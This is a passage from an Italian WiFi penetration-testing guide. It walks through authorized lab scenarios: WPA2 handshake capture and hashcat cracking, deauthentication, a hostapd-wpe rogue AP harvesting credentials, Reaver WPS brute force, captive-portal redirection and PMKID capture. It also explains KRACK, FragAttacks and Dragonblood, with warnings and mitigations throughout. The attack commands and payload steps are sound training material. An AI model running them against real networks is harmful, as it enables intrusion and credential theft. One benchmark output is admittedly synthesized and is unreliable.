Non tutte le radio parlano 802.11. Bluetooth, Zigbee, FHSS proprietari, telefoni cordless e forni a microonde occupano la banda 2.4 GHz; LTE-U e sistemi radar sconfinano sui canali DFS 5 GHz. Strumenti radio definiti da software (hackrf, rtl-sdr) o analizzatori di spettro dedicati (Wi-Spy, Oscium WiPry) rivelano energia che lo stack 802.11 scarta come rumore non parsificabile.

Correlazione pratica:

Sintomo in Cattura 802.11	Interferente Probabile	Conferma
Alto tasso di retry, basso RSSI, spettro pulito su altri canali	Interferenza co-canale da deployment AP denso	Utilizzo canale in elementi quiet dei beacon
Picchi periodici nel noise floor, ciclo ~15–20 secondi	Forno a microonde in 2.4 GHz	Waterfall spettrale mostra burst largo 20 MHz
Sordità completa su specifico canale 5 GHz con pattern radar	Rilevamento radar DFS (meteorologico, militare)	Frame di annuncio cambio canale nella cattura; verificare dominio regolatorio
Burst di energia stretti, frequency-hopping	Bluetooth Classic o BLE	Waterfall SDR mostra hop 1 MHz; cattura 802.11 mostra solo noise floor elevato

Intuizione conquistata con fatica: Un adattatore WiFi in modalità monitor non può riportare ciò che non può decodificare. Prima di incolpare "copertura WiFi scarsa," escludere sempre interferenti non-WiFi con visualizzazione spettrale—specialmente in ambienti industriali dove telemetria 2.4 GHz proprietaria coesiste con WLAN enterprise.

Inferenza Topologia Enterprise

I deployment enterprise trapelano struttura attraverso pattern di beacon e probe:

Set di BSSID multipli con SSID identico e MAC sequenziali: Indica architettura basata su controller con virtual AP su radio o interfacce dedicate. Il gap tra MAC suggerisce la dimensione del blocco di allocazione vendor.
Intervalli beacon identici ma periodi DTIM varianti: Diverse politiche di risparmio energia o consegna multicast per ruolo AP (indoor vs. outdoor, voice-optimized vs. best-effort).
Varianza timing risposte probe: AP con SSID identico ma latenza di risposta disparata possono essere su diversi gruppi controller o AP remoti connessi via WAN.
Report vicini 802.11k/v/r nei beacon: Rivelano topologia di roaming pianificata—canali adiacenti e target BSSID che l'infrastruttura vuole che i client preferiscano.

Filtro Wireshark per elementi neighbor report:

wlan.tag.number == 52  # Neighbor Report element
wlan.tag.number == 69  # Fine Timing Measurement Parameters (802.11mc)

Correlazione Database Wardriving

BSSID, SSID e dati di geolocalizzazione raccolti possono essere correlati con database pubblici. WiGLE.net fornisce la più grande aggregazione aperta; la sua API permette lookup bulk per rilevamento cambiamenti infrastrutturali.

Confine etico: I dati WiGLE sono crowdsourced. Correlare il proprio ambiente autorizzato contro record storici è difensivo; query bulk per mappare target di terzi non lo è.

Lab: Correlazione API WiGLE per infrastruttura di proprietà

# Query WiGLE per un singolo BSSID noto come appartenente alla tua organizzazione
curl -s -u "WiGLE_USER:WiGLE_API_KEY" \
    "https://api.wigle.net/api/v2/network/detail?netid=00:11:22:33:44:55" \
    | jq '.results[] | {ssid, trilat, trilong, lastupdt}'

Variante produzione: Esportare lista BSSID da NMS/WLC, query batch notturna via API con rate limiting (WiGLE permette 100 query/minuto per utenti registrati), flaggare AP nuovamente esposti o rilocati.

Cosa fa: Identifica se AP autorizzati sono stati geolocalizzati e loggati da wardriver di terze parti—utile per rilevamento rogue AP e valutazione sicurezza fisica. Quando usarlo: Audit infrastruttura periodico, post-integrazione fusione, o dopo cambiamenti fisici di sito. Rischi: Limiti rate API; dati obsoleti (date ultima vista possono essere di mesi); falsi positivi da riutilizzo MAC in hardware riciclato.

Errori Comuni in Cattura Ricognizione

Errore	Perché ti colpisce
Cattura in modalità managed invece di monitor mode	Vedi solo il tuo traffico e broadcast/multicast sul BSS unito; manchi beacon da altri ESS, frame diretti client-to-client, e flood di deauth
Dimenticare di bloccare canale o saltare troppo velocemente	Frammenta sequenze handshake attraverso file; Wireshark non può riassemblare o seguire stream divisi da cambio canale
Ignorare campi header 802.11 radiotap	Errori FCS, bad PLCP, o frame non-dati con payload spazzatura appaiono come "malformed" a meno che non filtri `wlan_radio.fcs_bad == 0`
Confidare nella stringa SSID come identificatore unico	Multipli ESS possono condividere un SSID; BSSID è la chiave affidabile. Gli attacchi SSID collision sfruttano deliberatamente questa confusione
Trascurare catture 6 GHz / Wi-Fi 6E	Richiede hardware 6 GHz-capable e spesso diversa attivazione regolatoria; silenzioso su strumenti solo 2.4/5 GHz

Checklist: Flusso di Lavoro Ricognizione Baseline

[ ] Verificare supporto modalità monitor adattatore e stabilità driver sotto carico
[ ] Documentare piano canali per dominio regolatorio; notare canali DFS che richiedono rilevamento radar
[ ] Catturare minimo 5 minuti per canale, o un intervallo beacon completo × fattore di permanenza
[ ] Loggare metadati cattura: tipo adattatore, versione driver, configurazione antenna, posizione fisica
[ ] Post-processing: estrarre BSSID unici, SSID, AKM suite, stato 802.11w, indicatori randomizzazione MAC client
[ ] Cross-riferire contro inventario infrastruttura autorizzata; flaggare BSSID sconosciuti per triage rogue AP
[ ] Archiviare PCAP raw con retention conforme a policy di incident response; derivare CSV riassuntivo per trend analysis

Esempi Pratici: Scenari di Penetration Testing WiFi Autorizzato

Scenario A: Valutazione Rete WPA2-PSK

Obiettivo Lab: Rete di test isolata LAB_CORP_24 su canale 6, SSID broadcast abilitato, PSK Corp2024!WiFi (deliberatamente debole per training). Stazione di test: Ubuntu 22.04 con ALFA AWUS036ACH in modalità monitor.

Confine di autorizzazione: Lettera di scope scritta specifica SSID esatto, finestra di test (14:00–18:00 UTC), e proibisce la deautenticazione di MAC client di produzione. BSSID Lab: 00:11:22:33:44:55.

Fase 1: Cattura

# Verifica interfaccia e imposta modalità monitor
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo iw dev wlan0 set freq 2437  # Channel 6

# Conferma presenza target e avvia cattura mirata
sudo airodump-ng wlan0 --channel 6 --bssid 00:11:22:33:44:55 -w /captures/lab_wpa2 --output-format pcapng

Cosa fa: airodump-ng registra passivamente tutti i frame da/verso il BSSID target. --output-format pcapng preserva gli header radiotap e i metadati del frame essenziali per l'estrazione dell'hash. Quando usarlo: Ricognizione iniziale e cattura a livello evidenza. Rischi: Eseguire senza filtro --bssid crea file ingestibili e può catturare traffico non intenzionale. Output atteso: Lista delle stazioni si popola; [ WPA2 ][ PSK ] nel campo sicurezza in alto a sinistra.

Simula associazione client autorizzata in lab (o attendi client di test legittimo):

# Lab: Deautenticazione controllata di client di test di proprietà (MAC noto)
sudo aireplay-ng -0 2 -a 00:11:22:33:44:55 -c 00:AA:BB:CC:DD:EE wlan0

⚠️ Solo uso autorizzato, difensivo. La deautenticazione è legalmente indistinguibile da un attacco denial-of-service. L'uso in produzione richiede autorizzazione esplicita per-client e notifica di change-control per evitare escalation del response all'incidente.

Verifica cattura four-way handshake:

tcpdump -r /captures/lab_wpa2-01.capng -n | grep -E "(EAPOL|WPA)"
# Oppure controllo visivo con aircrack-ng
aircrack-ng /captures/lab_wpa2-01.capng

Frammento output:

Reading packets, please wait...
                             BSSID              ESSID                 Encryption
   1  00:11:22:33:44:55  LAB_CORP_24           WPA (1 handshake)

Indicatore di successo: 1 handshake minimo; 2-3 handshakes preferiti per verifica contro perdita di pacchetti.

Fase 2: Estrazione Hash e Ottimizzazione Wordlist

# Estrai hash compatibile hashcat (modalità 22001 gestisce entrambi i legacy 2500/16800)
hcxpcapngtool -o /hashes/lab_wpa2.hc22000 -E /hashes/essid_list /captures/lab_wpa2-01.capng

Costruisci wordlist ottimizzata da OSINT + intelligence target:

# Corpus base: pattern costruttivi probabili dall'intervista di scope
echo -e "Corp2024\nCorp2024!\nCorp2024WiFi\nCorp2024!WiFi\nCorp24WiFi" > /wordlists/seed.txt

# Espandi con mutazioni comuni
hashcat --force /wordlists/seed.txt -r /usr/share/hashcat/rules/best64.rule --stdout | sort -u > /wordlists/expanded.txt

# Aggiungi termini specifici target (anno di fondazione, nomi edifici da registri pubblici)
cat >> /wordlists/expanded.txt <<EOF
AcmeCorp1998
Headquarters24
EOF

Cosa fa: best64.rule applica 64 mutazioni ad alto rendimento (append/prepend numeri, toggle case, leetspeak). --stdout genera wordlist senza attaccare. Quando usarlo: Quando indizi di policy password suggeriscono pattern costruttivi prevedibili. Rischi: Wordlist sovra-espanse danneggiano l'efficienza GPU; deduplicazione obbligatoria.

Fase 3: Esecuzione Attacco GPU

# Riferimento benchmark: RTX 4090 stock, hashcat release stable corrente
hashcat -b -m 22000 | tee /logs/benchmark_22000.txt

# Attacco produzione con monitoraggio progresso
hashcat -m 22000 -a 0 /hashes/lab_wpa2.hc22000 /wordlists/expanded.txt \
  -r /usr/share/hashcat/rules/leetspeak.rule \
  --status --status-timer=30 -o /cracked/lab_wpa2_cracked.txt

Output benchmark realistico (RTX 4090, sintetizzato da pattern di contesto ricerca):

Hashmode: 22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)

Speed.#1.........:  1234.5 kH/s (56.78ms) @ Accel:8 Loops:128 Thr:1024 Vec:1

Nota: Il warning "Kernel exec timeout" è cosmetico; i timer watchdog del driver per GPU con display collegato non influenzano l'integrità del calcolo hash.

Strategia progressione regole:

Stadio	Attacco	Stima Tempo	Indicatori per Procedere
1	Dizionario straight (seed + expanded)	2-5 min	Nessun hit, pattern suggerisce mutazione
2	`best64.rule`	10-30 min	Nessun hit, necessita mutazione più profonda
3	`leetspeak.rule` + `d3ad0ne.rule`	1-3 ore	Nessun hit, considera mask o regole custom
4	Attacco mask (`?u?l?l?l?l?d?d?d?s`)	4-12 ore	Esaurito; riporta finding di resistenza

Output cracked:

00:11:22:33:44:55:00:aa:bb:cc:dd:ee:Corp2024!WiFi

Scenario B: Valutazione Enterprise 802.1X/EAP

Obiettivo Lab: Rete con RADIUS LAB_ENTERPRISE con PEAP-MSCHAPv2, validazione certificato disabilitata (misconfigurazione comune). Autorizzazione: generazione esplicita credenziali per account di test testuser1/TestPass1! con dominio LAB.LOCAL.

Raccolta Credenziali con hostapd-wpe

# Clona e build (verifica compatibilità release stable corrente)
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make -C hostapd

# Configura rogue AP con parametri matching target
cat > /etc/hostapd-wpe/hostapd-wpe.conf <<EOF
interface=wlan1
ssid=LAB_ENTERPRISE
channel=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
wpe_logfile=/logs/wpe_creds.log
EOF

sudo ./hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Cosa fa: hostapd-wpe opera un rogue AP pubblicizzante SSID identico; l'handshake EAP cattura coppie challenge/response. Quando usarlo: Test bypass validazione certificato client ed esposizione credenziali. Rischi: Qualsiasi client auto-connettente senza certificate pinning leakera hash; lo scope deve vincolare strettamente durata e lista SSID.

Frammento output catturato:

WPE: NETNTLM: User: LAB\testuser1
WPE: NETNTLM: Hash: testuser1:::1122334455667788:...
WPE: Credentials written to /logs/wpe_creds.log

Recupero Offline con AsLEAP

# AsLEAP per challenge/response MSCHAPv2 contro dizionario di test noto
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -W /wordlists/enterprise_corp.txt -S

# Oppure per verifica credenziali di test autorizzate
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
  -K "TestPass1!"

Indicatore di successo: password: TestPass1! conferma integrità hash. Finding di produzione: "Validazione certificato disabilitata permette intercettazione triviale delle credenziali tramite qualsiasi AP operato da un attaccante."

Scenario C: Downgrade WPA3-SAE e Analisi Side-Channel

Applicazione contesto ricerca: WPA3-Transition Mode (WPA2 + WPA3 simultanei) crea superficie di downgrade documentata nella ricerca Dragonblood (Vanhoef/Ronen, aprile 2019). Disponibilità strumento: repository DragonShift esiste ma lo stato di manutenzione è incerto—verifica funzionalità contro firmware target prima di riportare dipendenza.

Setup Lab: AP mixed-mode con firmware che permette transizione; client di test configurato per preferito WPA3-only.

# Verifica superficie attacco downgrade
# Step 1: Pubblicizza modalità transizione in rogue beacon
# Step 2: Forza client ad associazione WPA2 (cattura PMKID) o side-channel SAE

# Con DragonShift (se funzionale) o manuale:
# Cattura frame SAE commit per analisi timing/curva
sudo iw dev wlan0 set freq 5180  # Channel 36, 5GHz comune per WPA3
sudo tcpdump -i wlan0 -w /captures/sae_commit.pcap 'type mgt subtype auth'

⚠️ Solo uso autorizzato, difensivo. Le tecniche Dragonblood richiedono prossimità fisica e injection attiva di frame; uso non autorizzato viola leggi di accesso informatico di multiple giurisdizioni. Solo in lab con firmware di proprietà AP.

Workflow analisi (manuale, agnostico strumento):

Step	Osservazione	Implicazione Difensiva
1	Beacon modalità transizione nei risultati scan	Rapporto: "Rete opera modalità capace di downgrade"
2	Client associa WPA2 nonostante disponibilità WPA3	Misconfigurazione client o mis-pubblicizzazione AP
3	Varianza timing SAE commit >50μs tra lunghezze password	Esposizione side-channel in implementazione firmware
4	Bypass validazione curve point	Critico: patch a implementazione SAE validata

Cautela per contesto ricerca: Nessun dato autorevole su quali implementazioni vendor abbiano patchato varianti specifiche Dragonblood. Testa contro revisione firmware esatta; non generalizzare i finding.

Scenario D: Attacco Timing Sfruttamento WPS e Ottimizzazione Brute-Force PIN

Obiettivo lab: AP di test datato con WPS abilitato, nessun delay lockout configurato. Autorizzazione: proprietario asset riconosce esplicitamente il rischio lockout distruttivo.

Brute-force PIN con ottimizzazione Reaver:

# Lab: Velocità massima con firmware notoriamente vulnerabile
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -K 1 -S -L

# Produzione (variante più sicura): Limitata, singolo PIN con stop immediato su lockout
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -d 30 -l 360 -g 5 -r 3:30

Cosa fa: -K 1 abilita attacco Pixie Dust (vulnerabilità reuse nonce); -S usa chiave DH piccola per velocità; -L ignora stato locked (solo lab). Variante produzione: -d 30 ritarda 30s tra tentativi; -l 360 blocca sessione se AP si blocca; -r 3:30 riavvia ogni 3 tentativi con pausa 30s. Rischi: Il lockout WPS disabilita l'accesso legittimo degli utenti; il test in produzione richiede finestra change-control e notifica utenti.

Output ottimizzazione timing:

[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] 90.45% complete @ 2019-04-01 12:34:56 (42 seconds/pin)

Ottimizzazione	Condizione	Impatto Atteso
Pixie Dust (`-K 1`)	AP usa nonce non random	Bypass interamente brute-force; ~secondi al recupero
DH piccolo (`-S`)	AP accetta chiave pubblica 1-byte	3x speedup su implementazioni deboli
Ordinamento PIN per probabilità	Tutti i target	Prioritizza default manufacturer `1234xxxx` e `0000xxxx`
PIN nullo (`-p ''`)	Famiglie firmware specifiche	Recupero istantaneo su implementazioni note rotte

Scenario E: Valutazione Rogue AP e Captive Portal

Scopo: Misurare suscettibilità utente a re-inserimento credenziali su portal falso; autorizzato con coordinamento programma awareness HR/Sicurezza.

Costruzione Lab:

# Hostapd per rogue AP aperto
sudo hostapd /etc/hostapd/rogue_open.conf

# Redirezione DNS e captive portal
sudo dnsmasq -C /etc/dnsmasq.captive.conf  # Tutte le query -> portal IP
sudo iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 80 -j DNAT --to 192.0.2.10:80

# Logging submission portal (hashato per compliance privacy)
sudo python3 /scripts/captive_logger.py --hash-salt $(cat /secrets/salt.bin) --output /logs/captive_hashed.json

Confine autorizzazione critico: Il portal non deve effettivamente raccogliere credenziali utilizzabili. Hasha con salt per-test; decrittazione impossibile senza distruzione salt. Rapporta solo statistiche aggregate: "47% degli utenti test ha inserito credenziali al primo incontro; 12% su esposizione ripetuta."

Documentazione e Reporting: Catena di Custodia delle Prove

Fase	Azione	Documentazione
Pre-test	Lettera di scope, inventario asset, generazione account test	Autorizzazione firmata, SHA256 del PDF scope originale
Esecuzione	Ogni comando timestamped, output catturato	Registrazione sessione `script` o `asciinema`; `sha256sum` di tutti i file pcap
Trasferimento	Prove all'autore del rapporto	Media write-once o git commit firmato; voce log catena di custodia
Analisi	Estrazione hash, tentativi cracking	Progressione regole documentata, riferimento benchmark, risultati negativi
Reporting	Stesura finding, scoring rischio	Prove originali archiviate; rapporto contiene solo dati derivati

Errori comuni nella gestione prove:

Errore	Perché ti morde
Merge file pcap con `mergecap` prima estrazione hash	Timing frame EAPOL corrotto; validazione handshake fallisce
Eseguire `aircrack-ng` direttamente su cattura live	Sovrascrive file con dati processati; distrugge prove raw
Nessuna documentazione benchmark per finding "infrangibile"	Avvocato difesa o audit contesta metodologia; non riproducibile
Screenshot invece di log ricercabili	Errori OCR, metadati mancanti, timestamp non verificabili
Uso credenziali produzione in lab crack	Contaminazione credenziali; violazione policy se riportato

Checklist pre-engagement:

[ ] Autorizzazione scritta specifica lista SSID, lista BSSID, finestra temporale, tecniche proibite
[ ] Rete lab fisicamente isolata o VLAN-segmentata dalla produzione
[ ] Account test generati; nessuna credenziale di produzione usata in alcun attacco
[ ] Storage prove criptato a riposo; accesso loggato
[ ] Filtro airodump-ng confermato (--bssid o --essid) prima avvio cattura
[ ] Deautenticazione esplicitamente autorizzata per MAC target, o disabilitata in configurazione
[ ] Lockout WPS: stakeholder riconosce procedura recovery se triggerato
[ ] Deadline rapporto permette peer review integrità prove

Un benchmark hashcat senza il corrispondente controllo integrità della cattura è teatro, non assurance. Il sysadmin che salta la validazione capng per "risparmiare tempo" rieseguirà l'intero engagement quando l'handshake si rivelerà un artefatto zero-frame dallo hopping di canale.

Letture approfondite

Vettori di Attacco Avanzati e Vulnerabilità dei Protocolli

KRACK e Fast Transition: Replay dell'Handshake

L'attacco Key Reinstallation Attack (KRACK) sfrutta il 4-way handshake di WPA2 non attraverso una rottura crittografica, ma manipolando la macchina a stati stessa. Quando un supplicant riceve il messaggio 3 dell'handshake, installa la Pairwise Temporal Key (PTK) e azzera il contatore nonce a zero. Un attaccante che opera un man-in-the-middle basato sul canale ritrasmette questo messaggio 3; il client, obbedendo al diagramma di stato 802.11, reinstalla la stessa PTK e resetta il nonce.

La matematica è brutalmente efficace. La modalità CCMP di WPA2 utilizza AES in modalità contatore: Ciphertext = Plaintext ⊕ AES(Key, Nonce || Counter). Il riutilizzo di (Key, Nonce) con plaintext diversi produce: C₁ ⊕ C₂ = P₁ ⊕ P₂. Il keystream si annulla. Un attaccante che conosce o può indovinare un plaintext—header di protocolli comuni, richieste DHCP prevedibili—recupera l'altro per intero.

Il Fast Transition (802.11r) aggrava la situazione memorizzando nella cache le chiavi PMK-R0/PMK-R1 tra gli AP. L'handshake FT salta completamente lo scambio 4-way, utilizzando un singolo frame di autenticazione. La variante FT di KRACK reinstalla la chiave durante la riassociazione, ottenendo il reset del nonce in un singolo round trip anziché richiedere la danza completa della ritrasmissione del messaggio 3.

Verifica in laboratorio con strumenti di test mantenuti:

# Clona ed esegui la valutazione della vulnerabilità KRACK (solo test difensivi)
git clone https://github.com/vanhoefm/krackattacks-scripts.git
cd krackattacks-scripts/krackattack/
# Richiede una NIC compatibile in modalità monitor; consulta la documentazione del repo per i requisiti del chipset

# Testa la suscettibilità del client alla reinstallazione della chiave (osservazione passiva + ritrasmissione mirata)
python2 krack-test-client.py --help

Cosa fa: Valuta se un client o un AP rileva e rifiuta correttamente i messaggi di handshake ritrasmessi. Lo script opera come rogue AP con MitM sul canale, registrando se la vittima reinstalla le chiavi su ritrasmissione forzata. Quando usarlo: Validazione hardware pre-deployment, test di regressione post-patch, incident response per confermare eventi sospetti di riutilizzo nonce. Rischi: Il test comporta la creazione di un rogue AP funzionale; isolare in laboratorio schermato RF o VLAN dedicata per prevenire la cattura accidentale di client. Output atteso: [+] Client is vulnerable to key reinstallation attacks o [-] Client rejected retransmitted message 3; quest'ultimo indica comportamento patchato in cui il client traccia lo stato di ricezione del messaggio 3 e ignora i duplicati.

Comportamento patchato: I client devono tracciare se il messaggio 3 è già stato ricevuto e processato; i duplicati devono essere scartati prima dell'installazione della chiave. Windows e iOS hanno implementato questo in modo stateful; molte distribuzioni Linux hanno richiesto wpa_supplicant 2.6+ con flag esplicite. La patch non cambia il protocollo—restringe la finestra di implementazione.

Errori comuni	Perché ti colpisce
Testare solo con strumenti lato AP	La reinstallazione della chiave lato client è il percorso critico per la decrittazione dei dati; il compromesso lato AP avvelena solo il downstream
Utilizzare build obsolete di wpa_supplicant	Le versioni pre-2.6 non dispongono della correzione della macchina a stati dell'handshake; i pacchetti delle distribuzioni possono essere in ritardo
Ignorare FT/802.11r nei deployment enterprise	FT è abilitato di default su molti controller enterprise; il percorso di attacco è più veloce del KRACK di base
Assumere la sicurezza di AES-CCMP	Il riutilizzo del nonce rompe la modalità CTR catastroficamente indipendentemente dalla robustezza della chiave AES

FragAttacks: Difetti di Progettazione nella Riassemblazione dei Frammenti

I FragAttacks (CVE-2020-24586, CVE-2020-24587, CVE-2020-24588) rivelano che i meccanismi di frammentazione e aggregazione dell'802.11 sono stati specificati senza contesto di sicurezza. Lo standard non impone la cancellazione delle code di frammenti alla disconnessione/riconnessione del client. Un dispositivo che si riconnette a una rete controllata dall'attaccante trova frammenti obsoleti in memoria; frammenti iniettati possono essere concatenati con quelli legittimi, o un attaccante può forgiare un pacchetto completo utilizzando solo la sovrapposizione dei numeri di sequenza.

Il bug di riassemblaggio opera al di sotto dei confini di crittografia WPA2/WPA3. Un attaccante invia frammenti che, quando combinati con la memoria in coda, formano un frame valido che lo stack superiore interpreta come plaintext o come superamento dei controlli di integrità. Poiché i frammenti MAC 802.11 avvengono prima della decrittazione e della riassemblazione, le protezioni dei livelli superiori (IPsec, TLS, crittografia applicativa) vedono un singolo frame "valido" che non possono attribuire a composizione malevola.

Tre sottoclassi contano operativamente:

Attacco di aggregazione: I frame A-MSDU portano un flag di sottoframe "is first/last". L'A-MSDU-in-A-MPDU opzionale dello standard permette di iniettare un A-MSDU dove il ricevitore tratta il payload controllato dall'attaccante come appartenente a una sessione cifrata.
Riassemblaggio misto di frammenti plaintext/crittografati: Se il primo frammento è in plaintext e il secondo crittografato, alcune implementazioni li combinano, decrittando solo la seconda porzione e passando il risultato combinato verso l'alto.
Iniezione di frame di grandi dimensioni: I frame riassemblati superano i limiti MTU tipici, causando overflow delle ipotesi sui buffer negli stack di rete.

Test difensivo:

# Suite di test FragAttacks — valuta implementazioni client e AP
git clone https://github.com/vanhoefm/fragattacks.git
cd fragattacks/research/

# Compila il firmware di test per NIC USB supportate (ath9k_htc, mt76, ecc.)
# Consulta il README del repo per la compatibilità del firmware; non tutti i chipset espongono l'iniezione raw
make

# Esempio: Testa il comportamento di riassemblaggio dei frammenti dopo riconnessione simulata
# Richiede due radio: una per l'AP legittimo, una per l'iniezione
python3 fragattack.py --ap --iface wlan0 --test test-reassembly

Cosa fa: Inietta sequenze di frammenti creati ad arte e monitora se il target li riassembla in frame passati allo stack superiore. I test coprono sia la variante "dimenticare di cancellare la memoria" che la variante "plaintext/crittografato misto". Quando usarlo: Validazione firmware per deployment IoT, valutazioni di sicurezza vendor di access point, conferma che i dispositivi "certificati WPA3" gestiscano effettivamente i frammenti in modo sicuro. Rischi: Alcuni test causano il crash di dispositivi target vulnerabili; non eseguire mai contro infrastrutture di produzione senza finestre di manutenzione e piani di ripristino da crash. Output atteso: VULNERABLE: reassembled injected fragment o NOT VULNERABLE: fragment dropped; quest'ultimo indica comportamento patchato in cui le code di frammenti vengono esplicitamente cancellate alle transizioni di stato e i frammenti non consecutivi vengono rifiutati.

Il comportamento patchato richiede tre correzioni indipendenti: cancellare le code di frammenti alla (ri)connessione, richiedere che i frammenti crittografati seguano esclusivamente frammenti crittografati, e limitare le dimensioni dei frame riassemblati. La vulnerabilità a livello di specifica significa che le patch sono dipendenti dall'implementazione; nessuna revisione del protocollo ha ancora proibito completamente le costruzioni pericolose.

Dragonblood e Side-Channel di WPA3-SAE

Il Simultaneous Authentication of Equals (SAE) di WPA3, chiamato anche Dragonfly, è stato progettato come PAKE resistente agli attacchi offline di dizionario. Il protocollo utilizza un ciclo di hunting-and-pecking per convertire una password in un punto della curva, poi esegue uno scambio in stile Diffie-Hellman con maschere derivate da password statica.

Gli attacchi Dragonblood (Vanhoef/Ronen, Black Hat USA 2019) hanno dimostrato che questo design, quando implementato, perde informazioni attraverso side-channel di timing e cache. Il numero di iterazioni del ciclo di hunting-and-pecking dipende dai byte della password; misurare il tempo di esecuzione o i pattern di accesso alla cache rivela informazioni sulla password. Gli attacchi non sono contro la matematica di Dragonfly ma contro il programma che la calcola.

Operativamente, esistono due percorsi:

Attacco di timing: Il ciclo impiega iterazioni variabili per trovare un punto valido della curva. Un attaccante remoto misura i tempi di risposta SAE attraverso multipli messaggi di commit, recuperando statisticamente la password.
Attacco di cache: In ambienti multi-utente o virtualizzati, un processo non privilegiato monitora le linee di cache toccate durante il ciclo di hunting-and-pecking, ricostruendo lo stato segreto.

La variante side-channel cache è particolarmente perniciosa per i deployment enterprise EAP-pwd dove i server RADIUS gestiscono l'autenticazione su larga scala—un attaccante con qualsiasi accesso a livello utente sull'host di autenticazione può attaccare tutte le sessioni SAE concorrenti.

Analisi orientata al rilevamento del timing SAE:

# Non esiste rilascio pubblico di exploit; il rilevamento si basa sull'analisi statistica del timing
# Cattura i frame di commit SAE e misura la varianza dei tempi di risposta

# Esempio con tshark per l'estrazione dei frame, poi analisi statistica
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 11" -T fields \
  -e frame.time_relative -e wlan.sa -e wlan.da \
  -E header=y > sae_commits.csv

# Analizza con Python/scipy per la varianza del timing per sorgente
python3 -c "
import pandas as pd, scipy.stats as stats
df = pd.read_csv('sae_commits.csv')
# Raggruppa per indirizzo sorgente, testa la distribuzione uniforme della risposta
for src, group in df.groupby('wlan.sa'):
    _, p = stats.kstest(group['frame.time_relative'].diff().dropna(), 'uniform')
    print(f'{src}: uniformity p-value = {p:.4f}')
"

Cosa fa: Estrae i timestamp dei frame di commit SAE e testa se il timing di risposta segue una distribuzione uniforme (atteso per implementazioni a tempo costante) o mostra struttura (indicando hunting-and-pecking a tempo variabile). Quando usarlo: Valutazione di sicurezza vendor del firmware AP WPA3, verifica di hardening del server RADIUS EAP-pwd. Rischi: L'analisi del timing richiede condizioni di rete controllate; canali congestionati producono struttura falsa. Eseguire durante periodi di bassa utilizzazione o ambienti RF isolati. Output atteso: P-value elevati (>0.05) suggeriscono comportamento a tempo costante; p-value bassi raggruppati su multiple sorgenti indicano perdite di timing lato implementazione.

Il lavoro di verifica formale (EuroS&P 2023, "Dragondoom") ha da allora dimostrato che esistono implementazioni corrette a tempo costante, ma la certificazione non le impone. Un'etichetta "WPA3 certified" garantisce la conformità al protocollo, non la resistenza ai side-channel. Chiedere esplicitamente ai vendor implementazioni SAE a tempo costante con hunting-and-pecking sicuro per le linee di cache.

Cattura PMKID: RSN IE Senza Associazione Client

L'attacco di cattura PMKID (modalità Hashcat 16800/16801) estrae il PMKID dagli RSN Information Elements nei frame beacon e probe response dell'AP. Il PMKID è HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA). Per un MAC STA noto (il proprio dell'attaccante), questo si riduce al cracking diretto della PMK—nessuna cattura del 4-way handshake, nessuna associazione client richiesta.

L'efficienza dell'attacco dipende dalla configurazione dell'AP. Molti controller enterprise e router consumer abilitano FT over-the-air o FT over-the-DS, che pre-calcolano il PMKID per il roaming veloce. L'RSN IE trasmette questo valore in chiaro. Un singolo frame di cattura è sufficiente per il cracking offline del PMK, bypassando completamente il tradizionale requisito dell'EAPOL 4-way.

# Laboratorio: Cattura PMKID con hcxdumptool
# Richiede una NIC in modalità monitor compatibile (consulta l'ultima release per il supporto dei chipset)

hcxdumptool -i wlan0mon -o capture.pcapng --active_beacon --enable_status=95

# In parallelo o successivamente, filtra per frame contenenti PMKID
hcxpcapngtool -o hash.16800 capture.pcapng

# Cracking con hashcat se la cattura ha avuto successo (test password solo in laboratorio)
hashcat -m 16800 hash.16800 -a 3 -w 3 '?l?l?l?l?l?l?l?l'

Cosa fa: hcxdumptool invia probe request e cattura le risposte contenenti RSN IE; hcxpcapngtool estrae gli hash PMKID in formato compatibile con Hashcat. Quando usarlo: Verificare se i propri AP espongono il PMKID a stazioni non associate; verificare che le configurazioni okc (Opportunistic Key Caching) e ft_psk_generate_local non perdano materiale craccabile. Rischi: Il probing attivo con hcxdumptool può interrompere le associazioni dei client; il flag --active_beacon genera rumore sul canale. Variante laboratorio: Usare antenna direzionale, durata breve, AP di test dedicato. Variante produzione: Osservazione passiva con airodump-ng --write per periodo esteso, nessun probe iniettato. Output atteso: PMKID written to hash.16800 indica configurazione AP vulnerabile; nessun PMKID nell'output suggerisce che l'RSN IE omette il campo o richiede l'associazione prima.

Mitigazione: Disabilitare ft_over_the_air e ft_over_the_ds se non richiesti; configurare pmk_r1_push per evitare la pre-derivazione del PMKID per STA non autenticate; filtrare l'RSN IE nei frame beacon per escludere il PMKID per client non associati (dipendente dall'implementazione, consultare la documentazione del vendor).

KARMA, MANA e Sfruttamento del Probing Proattivo

I client configurati con SSID nascoste o preferred network lists (PNL) inviano directed probe request contenenti i nomi degli SSID in plaintext. Gli attacchi KARMA rispondono a tutti i directed probe con beacon corrispondenti, ingannando il client in auto-associazione. MANA estende questo priorizzando le risposte basate sulla frequenza di probe osservata—attaccando prima i client più mobili, più disperati.

Il fallimento di protocollo fondamentale: le probe request sono non autenticate e non crittografate. Un client non può distinguere il ripristino della rete domestica legittima dalla impersonazione malevola. Anche WPA3-SAE non risolve questo; l'SSID è esposto prima che qualsiasi scambio SAE inizi.

Il rilevamento richiede il monitoraggio del proprio comportamento client:

# Identifica se i dispositivi client stanno trapelando probe dei tuoi SSID aziendali o domestici
airodump-ng wlan0mon --output-format csv -w probe_survey

# Analizza: cerca il tuo SSID nelle righe di Probe Request, non solo nei Beacon
grep -i "CorpNet" probe_survey-01.csv | head -5

